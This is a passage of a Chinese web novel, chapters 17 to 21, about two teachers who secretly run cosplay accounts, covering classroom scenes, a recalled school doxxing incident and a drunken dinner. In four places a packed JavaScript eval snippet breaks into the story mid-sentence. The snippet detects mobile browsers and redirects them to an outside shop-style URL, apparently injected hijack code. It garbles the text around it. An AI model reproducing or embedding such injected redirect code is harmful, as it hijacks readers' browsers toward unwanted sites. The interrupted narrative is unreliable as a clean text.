简璃今天只回复了一个人，那就是高赞的那条发癫评论。 ……该不会那是陶与晴？ 简璃咽了咽口水，不动声色的往旁边挪了挪身形。 本以为他只是花痴没想到他还变态。 “陶老师，”简璃义正严辞的教育陶与晴：“作为人民教师，咱们还是应该以工作为重。” 虽然但是，尽管如此，陶与晴惭愧的点头：“是是是。” 再也不搞抽象了。 以往发点疯根本无人注意，谁也没想到这条评论会被顶到上层去，这才被离玉给看见的。 陶与晴闭目养神，嘴里碎碎念了一段话。 简璃又问：“你在干嘛。” “最近社死的频率有点高，我默念道德经避个邪。” “……哦。” 陶与晴退出了小号，决定今天发发视频，洗心革面弃暗投明。 回到家给离玉的道具很快就完成了，视频稍微剪辑一下字幕讲解和节奏就可以了。 陶与晴的粉丝数量不及离玉那么多，他一不漏脸二不出声，连性别都没透露过，他的视频只露一点衣袖和手，骨节分明的白皙双手也雌雄莫辨，说男说女都有人反驳。 也正是这一点神秘感，反倒成了人设的一部分，除此之外观众也能感觉到扶光是个非常温柔的人，评论区和私聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277170|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问他问题，他几乎都会耐心解答，面对黑粉质疑也从来临危不乱。 有的人好奇他的现实生活，也许只是想找机会把他拉下神坛。 七年手作地位无人撼动，除了精湛的手艺，也全靠陶与晴这么多年的坚持。 其实只有陶与晴本人知道，“扶光”这个名字没被大众知道的时候，他就已经在为周围认识的朋友做道具改假发了，接触这一行远远早于七年前。 【没看错吧？离玉前一天说会更新，扶光大大就真的更新了！】 【如果这都不算爱】 【他还是那么努力的试图教会我们……】 【我寻思我没眨眼啊，给我干哪来了？怎么变得？】 【魔法！这就是魔法】 他的视频底下大概能分为几类人，有嗑cp的，有虚心学技术的，有吹彩虹屁的，也有好奇心重喜欢窥探隐私的。 【up到底是男是女啊？】 【扶光大大也是祁城的，天呐求偶遇！手这么好看现实里一定是帅哥美女吧？】 【真的不考虑露脸吗，想看大佬长什么样】 一开始陶与晴的确有些反感，但这种评论成了一种固定嘉宾以后，反而不那么让人在意了。 反正总归有人好奇的。 就连离玉也三番五次的邀请自己不是吗，可以理解，越是知名度高的人物，大家就会越想窥探对方的隐私，哪怕知道这样做不对。 时间匆匆过去，陶与晴把道具保存好，到时候直接寄到漫展主办方那里去，这是陶与晴的一贯做法，并且他从来没有在自己家附近寄过快递，都是走一段去远一点的快递站寄出的。 警惕心可以说非常高了。 晚上七点钟，陶与晴出门和简璃一起吃饭。 这一下午给道具收尾做调整，还把视频赶出来了，陶与晴眼睛都有点红红的，有些酸涩。 简璃放下菜单看见对面的陶与晴在打瞌睡，起身点菜的同时安静走了出去。 “给，你的。” 陶与晴没撑住下巴，连忙坐直了身子，接过简璃递过来的小盒子：“这是？” “眼药水，看你眼睛不太舒服。” 简璃重新坐下，门口就有药店，回来的很快。 “谢谢……我正需要，”陶与晴用了药感觉眼睛好多了，说：“下午处理了点事情……对了、你胃还疼吗？医生说让你按时吃饭，现在有点晚了。” “不疼，”简璃说：“我也是成年人了，你不用总是操这么多心。” “也没什么区别，同事和学生，都是我照顾的对象，”陶与晴着手洗了洗简璃的碗筷，说：“而且我这个人有点怪癖，手不能停，你要是不让我做事儿我才难受。” “那确实挺怪的，”简璃看着他把桌子擦的一尘不染，问：“你从小就这样？” “是吧，我小时候就爱做家务，幼儿园开始手工活动就一直是第一，我爸妈觉得他们生了个假娃。” “……倒是很想我认识的一个人。” “谁啊？”陶与晴抬眼看他，八卦之魂在燃烧：“你那个暗恋对象？” “不是说让你别瞎猜，”简璃摇头，也无奈的看了他一眼，反驳：“而且纠正一下，说暗恋太俗了，他是我的太阳。” 18. 第 18 章 简璃说起这个，轻轻勾起了嘴角。 陶与晴盯着他看了一会，问：“是个什么样的人？” “温柔，负责，又有耐心，能力也很强……” 简璃说着说着一时间沉默了。 总感觉这些形容词像是在形容陶与晴呢？ “听起来确实是个不错的人啊，”陶与晴本人并没有代入进去，说：“他帮了你很多吗？” “对，很多很多，”简璃轻飘飘的略过这个话题：“你很愿意帮助那些学生，我想多年以后他们会感谢你。” “我倒也不是为了他们记住我……” 陶与晴盯着桌上的水杯，有些晃神。 他做老师也才短短几年，称不上资历多深，很多事情他自己也没见过。 那种桃李满天下的抱负大学时期不是没有，但真的干了这一行只觉得能教会他们就已经很好了。 中秋假期还有两天，下个月要放国庆节，月考安排在了周六周日一起，考完放假。 还有十天左右。 陶与晴又要盯学生又要做其他道具，这几天可谓是连轴转。 跟个陀螺似的。 就这样他还不忘记盯着简璃按时吃饭，一日三餐都要发一条消息。 向思远吐槽他天生操心的命。 向思远说：“你是他妈妈吗？” 可是同事一场啊，简璃平时对自己也挺好的，开车接送还时不时请客吃饭，难道不是应该的吗？ 周四下午，陶与晴在办公室里批改作业，改着改着忽然翻到了不知道谁的作业里夹了一张草稿纸。 草稿纸上画了一张图，图上画着一个老番动漫人物。 “画得还挺好……”陶与晴翻了一下她的名字，是和邓留萤一起负责教室黑板报的女同学杨以心。 陶与晴换了支铅笔，动手给她改了改。 此时教室里，杨以心同学正在抽屉里翻翻找找。 “我的画呢……怎么找不到了啊……” “怎么了啊，”邓留萤转过头去，问：“找什么？” “找我的画……奇怪，我明明记得放在抽屉里的啊？” “是不是被谁拿走了？”邓留萤看了看不远处的赵遇京，说：“哎赵遇京，是不是你拿了？” “冤枉啊，”赵遇京体育课打完篮球，刚喝完一口水，说：“我什么都没拿，我刚打球呢，哪有空恶作剧。” “那去哪了？”邓留萤奇怪道：“是不是你落在哪儿了？” 几个同学帮着找了找，却也什么都没发现。 直到下一节课间数学作业发下来，杨以心惊讶的发现自己的画原来夹在本子里了。 “不对不对，”还没来得及羞耻，杨以心大惊：“这不是我的画啊……怎么……怎么比我之前还好看？” 线条和比例都被修改更有型了，甚至衣服上加了一些杨以心没有注意到的细节。 “我的妈呀！” 杨以心看着这幅画喊了出来。 提前两分钟进教室待着的简璃从讲台上抬头。 “没有没有，对不起简老师……” 杨以心低下头。 这是哪个大触改的啊？！我的天，遇见田螺姑娘了？ 这人体这熟练度，大佬。 下了课，她迫不及待的把那幅画拿出来，和同学一起分析到底怎么回事。 “这怎么可能，”姜一安被迫加入他们，正经道：“作业一收上来宁雨就送去办公室了，不会有人动过的。” 邓留萤：“作业是宁雨收的，会不会？” 众人的目光齐刷刷往那边看去。 宁雨吊儿郎当的趴在桌子上写题，察觉到什么。 “不是我……！” “应该真的不是他，”赵遇京说：“我雨哥做事包敢作敢当的。” 杨以心：“你们总该不会要怀疑陶老师吧？他是数学老师啊。” 邓留萤：“没听老师说有这个技能啊……” 赵遇京：“我觉得很合理啊，你看他黑板上面单手画圆，跟个圆规成精了一样，这还不说明实力？” 一只手伸过来拿走了他们围着的那幅画。 “围在一起讨论什么呢，”简璃看了一眼这幅画，瞬间也认出来上面的角色，但是只是说：“一幅画而已，怎么回事。” 杨以心面对简璃小心翼翼的说：“简老师，有人改了我的画，还改的特别好，我们不知道是谁。” “……” 这不是刚才陶与晴改了两笔的那个吗？ 简璃没看清陶与晴具体改了什么，不过现在看见了。 不清楚陶与晴会不会想学生知道，简璃决定不要多管闲事。 他把画放了回去，说：“我也不知道，快上课了，不要围在一起。” “好……” 学生们一哄而散，那幅画到底是谁改的，不得而知。 办公室，简璃坐下问陶与晴：“你改了学生的画？” “嗯？对，改了两笔，怎么突然问这个，”陶与晴从一堆资料中抬头：“我只是随手改了一下。” “学生们在讨论这件事，”简璃喝了口茶水，说：“我没供出你来。” “这样啊，”陶与晴笑了笑说：“那就让他们瞎猜好了。” “你还会画画？” “会一点，以前学过。” 简璃随口一夸：“还挺厉害的。” 陶与晴翻资料的手一顿，有些不自在的说：“……也没有。” 差点幻视一些不好的事情。 陶与晴已经很久没动笔画过画了，只是偶然看见杨以心的画所以…… 是自己这段时间过的太轻松了……？ 陶与晴平时的表情神态一直都非常亲和近人，就算是和简璃闹的时候也会有很明艳的笑。 所以他的心情非常好揣测，因为一旦他有心事，那心事就是写在脸上的。 譬如现在，眉头微微皱起，眼睛看着一个地方发愣。 “……”简璃回想刚才的话，应该没什么冒犯的才对，怎么会忽然心情不好了。 “陶老师，”姜一安敲了敲办公室的门，问：“今天的作业您还没布置。” “啊，差点忘了，你帮我去说吧，我之后没课，有点忙。”陶与晴今天要做一堆资料，长假将至事情繁多，所以直接把今天的作业告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277171|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了姜一安，让姜一安去通知。 姜一安记下作业之后，问：“您需要帮忙吗？” “不用了，你去吧，班里有什么事就来告诉我。” “嗯。” 陶与晴长舒一口气，继续输入文件。 傍晚放学，陶与晴才把额外的工作给处理完，办公室里的老师几乎都走完了，他撑了个懒腰，揉了揉酸痛的脖子。 简璃坐在他对面，居然还没走。 陶与晴注意到他，起身拿起外套：“抱歉今天事情有点多，还没吃饭吧，走吧，一起吃。” “等下吧，”简璃拉住他，说：“聊一聊。” “什么……” “刚才你表情不对，在想什么？” 陶与晴没想到这都被简璃看出来了，丝毫不知道自己的表情变化非常明显。 简璃拉了拉他的手腕，把他拉回椅子上，说：“我看了，其他老师都回去了，办公室没别人，愿意说的话我听着，不愿意说的话就去吃饭吧。” “你干嘛突然这么直球啊……”陶与晴扯出一个微笑：“我都要不习惯了。” “礼尚往来，”简璃往椅子背上一靠，透过镜片去看陶与晴的眼睛：“我大概有资格当你的陪聊树洞，陶老师。” 他用这张脸做这个动作说这种话，真的很犯规。 而且那么一点细微的情绪变化都被简璃发现了，陶与晴还能说什么呢。 “初中的时候，”陶与晴说：“我抽空学了些画技，当时我很喜欢一个……动画片里的角色，所以就画了很多他的图发到网上。” “可能因为当时大家讨论环境都很友好，很快就有了一些……算是喜欢我画风的朋友吧？对于当时的我来说这是件非常值得开心的事情。” 13岁的陶与晴怎么也没想到，自己的线上网名会被有心的同学扒出来。 那个男生看见了他在草稿本上的画，结合社交账号关联，顺藤摸瓜找到了陶与晴的软件ID。 【看啊，我们班出了个大名人啊，啧啧，看看看，人家画画有几千个粉丝呢】 【陶与晴，这真是你吗？画的谁啊】 【哇塞，画的这么好，给我也画一个呗？】 【怎么不说话啊，画一个不难吧，你证明一下是你画的啊】 班级群里，那个男生截图发出来，底下一群同学跟着阴阳怪气，被老师制止过后他的行为并没有停下，甚至带着几个同学去那个账号的评论底下“团建”。 【他真名陶与晴啊，我认识你们口中的大佬，和我一个班呢】 【他是个软包子，平时不怎么说话的，想知道的私聊我我有他照片】 虽然底下有帮陶与晴说话，制止这种开盒行为的，但是每一天、对方持续在班里输出各种嘲讽，终于有一天夜里陶与晴哭了，注销了账号，那个ID再也没回来过。 听到这里简璃皱起眉头。 “我知道他本来就讨厌我，所以才会带头去做这种事情，从那以后我就不怎么画画了，不过也是因祸得福，从那以后我潜心学习，成绩甩了他好几条街。” 陶与晴勾起嘴角，笑着说：“所以也不算是一件坏事对吧？” 19. 第 19 章 简璃沉默。 白痴。 说这种事情的时候，就别笑了 。 简璃宁愿陶与晴哭，或者像上次一样，和自己一起唾骂霸凌者。 “你干嘛那个表情，”陶与晴撑着头笑着说：“已经过去这么多年了，我已经没觉得有什么了，而且作为人民教师，我们应该学会在这些事情当中吸取教训，好去帮助之后的学生，知不知道。” “你发自内心的，”简璃说：“真心的觉得自己不在意了？” “……真心啊，”陶与晴躲闪了一下他的目光，说：“我要是现在见到那个男生，说不定还能友好的打招呼呢。” 一只手伸过来捏住了陶与晴的脸侧。 陶与晴一愣：“……呃？” 简璃力道不轻不重，捏着他脸侧的软肉晃了晃。 “那就去吃饭吧，爱撒谎的陶老师。” 陶与晴脸一红，躲开他的手捂住半边脸：“……你好烦人啊。” 他感觉到自己眼睛瞬间有点湿漉漉的，也不知道是为什么。 但是因为别人安慰了一句就哭这种事情，显然是有点丢人的吧？ 陶与晴吸了吸鼻子，把酸涩感憋了回去。 简璃站在他面前，思索了一下，说：“抱一下？” “我没那么……”脆弱。 等会。 抱到简璃是不是就约等于抱到了离玉？ “……就一下。” 陶与晴妥协了。 今天的简璃身上是淡淡的洗衣粉清香，很淡很淡。 陶与晴隐约记得开学时候，简璃身上的味道很像自己家里那款桂花香水。 做完道具假发陶与晴会喷一点再打包，收到的单主打开都能味道淡淡的清香味，因此来反馈要链接的都有。 这是一个仅限于友人的安慰型拥抱，简璃意外的非常知道如何把控尺度，让人一点也感觉不到越界，并不缠绵悱恻，恰到好处，让人觉得治愈心灵。 “陶老师我们……” 如果不是刚好这个时候办公室门被打开的话？ 姜一安和宁雨站在门口愣住，前面打开门的是赵遇京。 “……东西忘拿了……” 赵遇京默默把后面那半句话说完，然后迅速捂眼睛：“我们什么都没有看见！” 姜一安推了推眼镜，低头不发表意见，尊重祝福。 宁雨看见以后瞬间红温了，结巴了半天没说出个完整的句子，最后半天憋出一句：“这里是办公室！有监控的。” 其实打开门的那一瞬间陶与晴就迅速把简璃给推开了。 结果这群小机灵鬼通过自己的脑补，想到了更奇怪的事情！ “不是你们想的那样！”陶与晴拍了拍桌子打断他们的思路：“我和简老师只是在……” ……这要怎么解释？ “是在……”陶与晴承认自己不会撒谎。 简璃面不改色说：“我眼睛不太舒服，刚才让陶老师帮我看一看，你们的脑子里都在想什么？” “啊？哦，”赵遇京说：“害，早说嘛，你们紧张兮兮的，我们还以为撞破了什么不该撞破的事情呢。” 看陶与晴紧张的喘气，眼睛还红红的，脸也红红的。 “是你小子先入为主好不好，”陶与晴走进他戳了戳赵遇京的脑袋：“我有必要检查一下你平时都看些什么。” “不不不不不不必了，姜一安的笔夹进作业里了，我们陪他过来拿一下，”赵遇京以飞快的速度找到了那支笔，迅速走到门边说：“那我们先走了老师再见！” “……臭小子跑的倒是快，”简璃摇摇头，随后看了一眼陶与晴：“我们也走吧。” “哦……” 陶与晴不自然的摸了摸鼻子。 简璃什么时候这么会了？他不是很古板吗，闲书都不让看的那种。 陶与晴想到什么，问：“对了，马上月考了，考试之后是长假，你有什么打算吗？” “在家休息七天。” “好朴实无华的安排……” “很实际啊，不过我记得你答应了邓留萤要陪她去一个活动。” “对，我回头和她爸妈说一下，不过那活动也就去一两天，剩下的时间我估计我也是在家待着了。” “还要改卷子。” “对哦、啧……” 两个人闲聊着一起去吃晚饭。 几天后的第一次月考前夕，陶与晴留在班里提醒同学们考试注意事项。 “考完就放长假了，大家一定要认真的对待……”陶与晴想了想，又说：“不过也是第一次月考，主要是看看你们的问题都出在哪，大家不用太紧张了，放轻松就好。” “陶老师我们一定好好考！” “嗯嗯嗯，不给您丢人。” 班里学生一个一个附和，陶与晴对他们笑笑，说：“好啦今天好好休息吧，就不布置作业了，等考完了再说。” “好耶！” 第二天，简璃和陶与晴被分配监考不同的楼层， 一楼的几个学生都非常庆幸自己的是陶与晴监考。 我们陶老师出了名的人美心善，一定是那种考试的时候会提醒你哪道题做错了的老师呢！ ……并不会。 陶与晴拧开水杯喝了一口，在讲台上盯着台下的同学，一丝不苟。 虽然陶与晴平时很温柔，对待学生很认真，但是他觉得考试这种事情检测的是真实的水平，所以不能心软。 哪怕看见满面愁容的孩子们，也不可以心软。 ……嗯。 那孩子已经抬头用求助的眼神看着他了。 不不不不，看不见看不见看不见…… 在陶与晴良知与责任的对抗下，后者战胜了前者。 “还有十分钟，注意一下时间。” 台下翻卷子的声音变多了，都在抓紧时间检查之前的问题，陶与晴欣慰的点点头，不自觉想到了简璃那边，不知道他监考的教室怎么样。 简璃，一个光是坐在那里就能让学生压迫感十足的男人。 而他这次非但不坐着，还下台来巡视。 汗流浃背了。 学校特意安排简璃去了一个学生不太老实的教室，也是因为有他监督，一整场考试没人敢作弊。 几个擦线进重高的学生你看看我我看看你，最终是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277172|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没敢在简璃面前造次。 考试这两天，二楼的学生都感受到了被简璃支配的恐惧，他那双眼睛跟个巡视器一样，教室里一只苍蝇都飞不出去。 而简璃抽空多看了两眼宁雨的卷子，不动声色的点了点头。 “考完了，学生解放我们也解放，”徐老师在办公室撑了个懒腰：“各位老师假期愉快啊。” “是啊，大家玩的开心，”陶与晴说：“不过也要注意安全。” “哈哈哈陶老师还是那么爱操心。” 简璃默默对陶与晴说：“宁雨在我的教室。” “是吗？”陶与晴眼睛亮了亮，问：“看见了吗，他靠的怎么样？” “基础还是差了点，没办法，但是态度认真不少，卷子都写满了，不该错的没错，我估计各科都能在及格线左右。” “不错，有进步就是好事。” 开学时候班里的平均分大概是640多，这个平均分在重点高中不算太出彩，但让陶与晴欣慰的是这次的考试大家都很认真的对待，就连赵遇京都没掉链子，考试的时候很安静。 去年陶与晴带的高三，平均分是将近六百六十多的，隔壁的高老师更离谱，他们班平均分都是七百左右，最后高考是各显神通，就没有一个一流大学以下的。 当时那真是学生压力大，老师也压力大，老师们还不能让他们看出来，得开导他们，否则影响学生心态。 简璃是京都转过来的，那边的学业抓的更紧，各大高校的考卷难度都不是一个等级的，据说他还被压榨着带了好几届高三，陶与晴简直不敢想。 不仅如此，简璃还能抽空参加漫展活动，经常是同一天特种兵两边跑，营业的时候丝毫没人看出来他的疲倦，白天活动里当嘉宾，晚上房间里改卷子，第二天早上四点起床…… 这些陶与晴不得而知，现在他只想好好的吃一顿，然后睡一觉，至于批改这成堆的试卷，放假当天再考虑。 【扶光】：终于放假了！！我要大吃大喝！ 【向爱卿】：等着呢，位置都订好了，老地方，怎么说？ 【扶光】：很好，甚得朕心，改日给你加官晋爵，你就等着享清福吧。 【向爱卿】：好好好，你最好是。 【扶光】：我能叫个人吗？ 【向爱卿】：是你那个简老师吧？行啊你要不要问问他来不来，我还想看看他到底多帅呢。 【扶光】：好，我问问他，我上次带他去吃过我们那家店来着，他觉得挺好吃。 【向爱卿】：你俩进展真是有一点快啊，一开始的时候不是水火不容谁也不服谁吗？ 陶与晴选择性无视向思远后面那句话，问简璃：“今天我约了发小，一起去吃那家烤鱼放松放松，一起不？” “确定你们聚餐要带上我？” “我和他提起过你，他说他想见见你呢，你要是不太喜欢这种场合就算了，”陶与晴说：“其实也就我们三个人，我发小是体制内，人品靠得住的。” “……行，”简璃也不和他客气了，问：“能喝酒吗？” “你想喝？”陶与晴回：“反正明天放假，活动是后天，我无所谓，喝就喝。” 20. 第 20 章 “好，”简璃点点头，说：“走吧。” “哎等一下，我还没布置作业，等会我。” 两个人回了趟家放了点东西，六点左右驱车来到了那家店。 老板娘再次看见陶与晴和简璃，说：“小向在里面等你们呢，来来来。” 领着两个人去到楼上，老板娘笑的格外殷勤，说：“一会上菜啊，你们聊你们聊。” “我怎么感觉，”陶与晴悄悄对简璃说：“老板娘今天有点怪怪的。” 简璃摇摇头，看见不远处有个人对他们招招手，猜测那应该就是陶与晴的发小。 “桃子！这边。” “桃子？” 简璃看了一眼陶与晴。 陶与晴推了推简璃：“……绰号而已别在意，走了走了。” “简老师是吧，久仰久仰，”向思远伸手，说：“多谢你照顾我兄弟了。” “没什么，互相帮助。”简璃礼貌的和他握手，然后在陶与晴旁边坐下。 向思远把菜单递给他：“我刚才已经点了一些，你有什么想吃的，这顿我请客，别客气。” “不用了，先吃再说吧，我没什么忌口，”简璃看了看陶与晴，说：“今天能喝酒，对吧。” “嗯，”陶与晴点头：“明天不上班。” “行啊，我也放假，陪你们喝，老板——” 今天上来送酒的不是老板娘和老板，而是一个年轻姑娘。 “小周你怎么来了？”向思远疑惑道：“上次听你妈说你大学要毕业了忙着实习找工作呢。” “是呀，”穿着围裙的女生点点头，说：“所以我来我爸妈的店里先帮忙。” 小周是老板的女儿，比陶与晴他们小几岁，因为以前就经常来吃饭，所以认识了。 可是之前带简璃来都没见到这姑娘，也不知道怎么今天忽然来帮忙了。 “你们慢喝，一会来……”小周有意无意看了看简璃，说：“一会来给你们端菜。” 陶与晴：“好的谢谢。” 等小周走远了，向思远低声道：“我看她是来看帅哥的。” “……实不相瞒，”陶与晴回想了一下刚才老板娘格外的殷勤，看了看简璃，说：“我觉得你今天难逃一劫了。” “……”简璃看着他疑惑道：“什么意思？” “哥们你没看出来，”向思远开了一瓶酒：“老板娘明显安排你和她女儿认识呢，看起来是很满意你做她女婿啊。” “我和思远之前都被游说过，”陶与晴接过倒满酒的杯子，拍了拍简璃的肩膀说：“所以你懂的。” “……”简璃扶了扶自己的眼镜，说：“我没那个想法，我会拒绝她的。” “管他呢，今天说好的喝酒的，”向思远眨眨眼，说：“来，你们两位人民教师好不容易放假了不醉不归啊。” “你看吧，”陶与晴凑近简璃，笑了笑：“你今天注定有一劫。” 向思远的确爱喝酒，酒量也很好，但陶与晴作为老师总是有借口推脱，搞得每次他都喝不尽兴。 如今来了个简璃，这家伙看上去就是那种不喝酒不抽烟的三好学生，居然主动提出可以喝酒，这向思远必须和他干一个。 陶与晴对自己的酒量有一个大概轮廓，所以他是不会和向思远争高低的，上次毕业喝醉了抱着电线杆表白离玉被向思远笑了好久。 酒品不好的人没资格喝醉。 结果就是，菜几乎全是陶与晴在吃，向思远和简璃喝酒喝完了一箱，两个人甚至连微醺都没有。 “可以啊你，”向思远赞许的扬了扬下巴：“海量。” “哪里，都是后天应酬练出来的。” “当老师也要应酬？” “有时候被学校拉着出去当门面，免不了要喝。” “确实长得帅啊，啧啧，不容易不容易，来干。” 陶与晴感觉自己喝了两杯都要被酒气熏醉了，这俩酒神居然能喝一箱，简直无敌。 期间小周来了不少次，但是每一次简璃都没怎么看她，最后那姑娘估计也觉得人家对她没意思，识趣的不来了。 陶与晴最后本来想喝杯白水漱漱口，但是拿错了简璃的杯子，一口闷掉了一杯酒。 简璃没来得及阻止他，手还悬在半空中。 向思远放下杯子，默默说：“哎，该来的还是来了。” 陶与晴放下杯子撑着头，感觉脑袋晕晕乎乎，半梦半醒。 起初他不说话，简璃以为他喝醉了只是困，所以吧外套脱下来盖在他身上。 “你看起来不像是经常喝酒的吧，”向思远晃了晃手里的杯子，问：“怎么，想借酒消愁？” 向思远是个混迹职场的老油条，体制内的工作不比其他事业单位好到哪去，也是要看各种脸色的。 所以他察言观色的能力对于简璃和陶与晴来说，有过之而无不及。 “他前段时间说了一些以前的事情，”简璃判断大概瞒不过他，坦白道：“心情不太好却喜欢强撑，趁着放假我想让他发泄一下，酒应该是最好的工具。” “……他主动和你说的？” “算是吧，我问了，他就说了。” 向思远抿了一口酒杯。 他作为最了解陶与晴的人之一，大概是能猜到陶与晴说了什么。 但是这事基本上是没几个人知道的，就连那么喜欢的离玉陶与晴都没说起过任何现实里的事情。 向思远是个有些护犊子的人，怕自家的“黄花大闺女”被美色勾引做出什么不过脑子的行为。 经此试探，这简璃人品貌似还算靠得住。 “要不还是送他回去吧，”问完了话，向思远看了一眼时间：“也不早了，你不知道，他发酒疯的前兆就是先淡定后发癫，要趁他还没有开始胡说八道，赶紧打晕了带回去。” “有这么严重吗。”简璃握住陶与晴的手腕，决定听他发小的劝诫，把他先带走。 向思远站起来，说：“我帮你……” 话音未落，陶与晴猛的抬头和简璃对视，两个人距离一时间被拉的非常近，充满酒气的吐息打在他脸上。 “……陶与晴，”简璃愣了愣，往后躲了一下，说：“你醒着吗？” “……离玉老师，”陶与晴两眼发光，伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277173|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾住简璃的脖子：“活的，活离玉……” ……难不成你见过死的不成。 向思远尴尬的解释：“你别见怪，我发小他……” “没事，先走吧，免得他在外面丢人。”简璃单手握拳，就着陶与晴粘着自己这个姿势，用小臂托住他的屁股，一只手把他抱起来，另一只手拿起掉在椅子上的外套。 向思远看了一眼他的手臂，肌肉感十足，挑了一下眉。 “离玉我好喜欢你我……”陶与晴在简璃身上乱蹭，边蹭边说：“我从出生开始就是离玉单推人了呜呜你好帅，你有八块腹肌吗？” 简璃：“……” 向思远说：“没事，等睡一觉到了明天，他自己会自觉忘记这些诡异行为的。” “谢谢你的喜欢，”简璃叹了口气，配合他说：“你能安静吗？” “……好，”陶与晴安静了一分钟，简璃都还没从饭店走出去，他又说：“不对不对，你不是离玉……你戴着眼镜你是简璃……” 向思远和简璃同时无语了。 所以是与不是是看眼镜的吗？ 简璃开口反问醉鬼：“我是简璃你就不听我的了？” “不听你的，”陶与晴挂在他身上，但是趾高气扬：“代餐，就要有代餐的样子。” “……” 向思远绷不住笑了出来。 简璃忍无可忍，说：“那我要真是他，你会怎么样？” “……”陶与晴的cpu似乎被这句话干烧了，思索了很久，最后非常认真并且口齿清晰，甚至有些痛心疾首的说：“我会脱粉。” “………………” 向思远：“噗哈哈哈哈哈哈哈……对不起。” 简璃把陶与晴放下来给向思远扶住，却又被陶与晴拽住，说：“代餐别走啊代餐。” 还代是吧？ 陶与晴你真是饿了！ 简璃一抛外套把他的头罩住，然后单手揽住把他像抗猪肉一样扛在肩上。 陶与晴挣扎：“我怎么什么都看不见了！我要看帅哥！” 简璃黑着脸把陶与晴往外抗：“上帝让我告诉你，因为你色欲熏心还始乱终弃，他赐你一天黑暗让你好好反思一下自己。” 向思远喜闻乐见的把这一段拍了下来，打算日后好好笑话平日和煦淡定的陶与晴。 “不要——我要看帅哥我还要看——！” 小周看着简璃把陶与晴抗出去，默默走过来问向思远：“远哥，我问一下，与晴和那个帅哥什么关系啊？” 向思远想了想，说：“就是，互帮互助的关系。” “……啊？” 炮……友？ 小周大为震撼，趁她没有反应，向思远付了钱朝外走去。 “谢谢啊下次还来。” 陶与晴被简璃蒙着头塞进车里。 “我要看帅哥，你不能剥夺我看帅哥的权利！” “脱粉了，看什么看，”简璃黑着脸一起坐在后座关上车门，说：“你家离玉塌房了。” “不可能！”陶与晴盖着外套猛的坐起来：“你塌房了离玉都不会塌房的！” 21. 第 21 章 简璃并不想搭理醉鬼，打开手机找代驾，打开车窗对向思远说：“我送他回去就行。” “行，”向思远挥挥手默默记下简璃的车牌：“这是我电话，到家了说一声。” “嗯。” 一路上陶与晴并不安分，代驾师傅什么样的醉鬼都见过，但还是忍不住想笑。 “你说离玉永不塌房，你说啊你说。” “你先说，你永不脱粉。” “我不会脱粉！” “就算他是简璃也不脱？” 陶与晴的脑子里一下闪过简璃的厨艺，凌乱的房子，有时的毒舌不讲理，以及最关键是他可是自己的同事啊。 “……不，”陶与晴的语气一下子就带上了难以置信：“不能接受。” “……” 硬了，拳头硬了。 简璃把被陶与晴弄乱的衣服和头发整理好，又把自己的外套当作一根绳子，把人给捆住免得他动手动脚。 重获光明的陶与晴：“……噫？我怎么又看见了？” “上帝觉得你没救了。” 好不容易一路折腾到了楼下，简璃拜托代驾师傅帮忙买了一下醒酒药，上楼的时候陶与晴也不老实，吵着就想见离玉。 “白痴……” 简璃干脆把陶与晴扛回了自己家，反正也不知道他具体住哪，两个人这么近，还不如自家方便。 把人扔在大床上，简璃揉了揉酸痛的肩膀，感觉陶与晴比看起来重好多。 光是这么躺着也不行，起码得把人哄起来擦一擦再吃个药。 简璃任劳任怨又去卫生间打了一盆温水，拧干毛巾把陶与晴扶起来擦脸。 “敢吐我床上，你明天就出不去了。” 简璃也不知道在威胁谁，毕竟现在的陶与晴智力和三岁儿童差不多，并听不懂他在说什么。 估计满脑子都是离玉吧。 有这么一个死忠粉，也不知道该庆幸还是…… “你说，”陶与晴拉着简璃的手晃了晃：“离玉他、会是什么样的人？” “不知道，”简璃取下眼镜，帮陶与晴把外套脱下来：“可能很讨人厌吧。” “不会的，他不会讨人厌的。” 简璃看了他一眼：“你刚才还是如果简璃是离玉你就脱粉呢。” 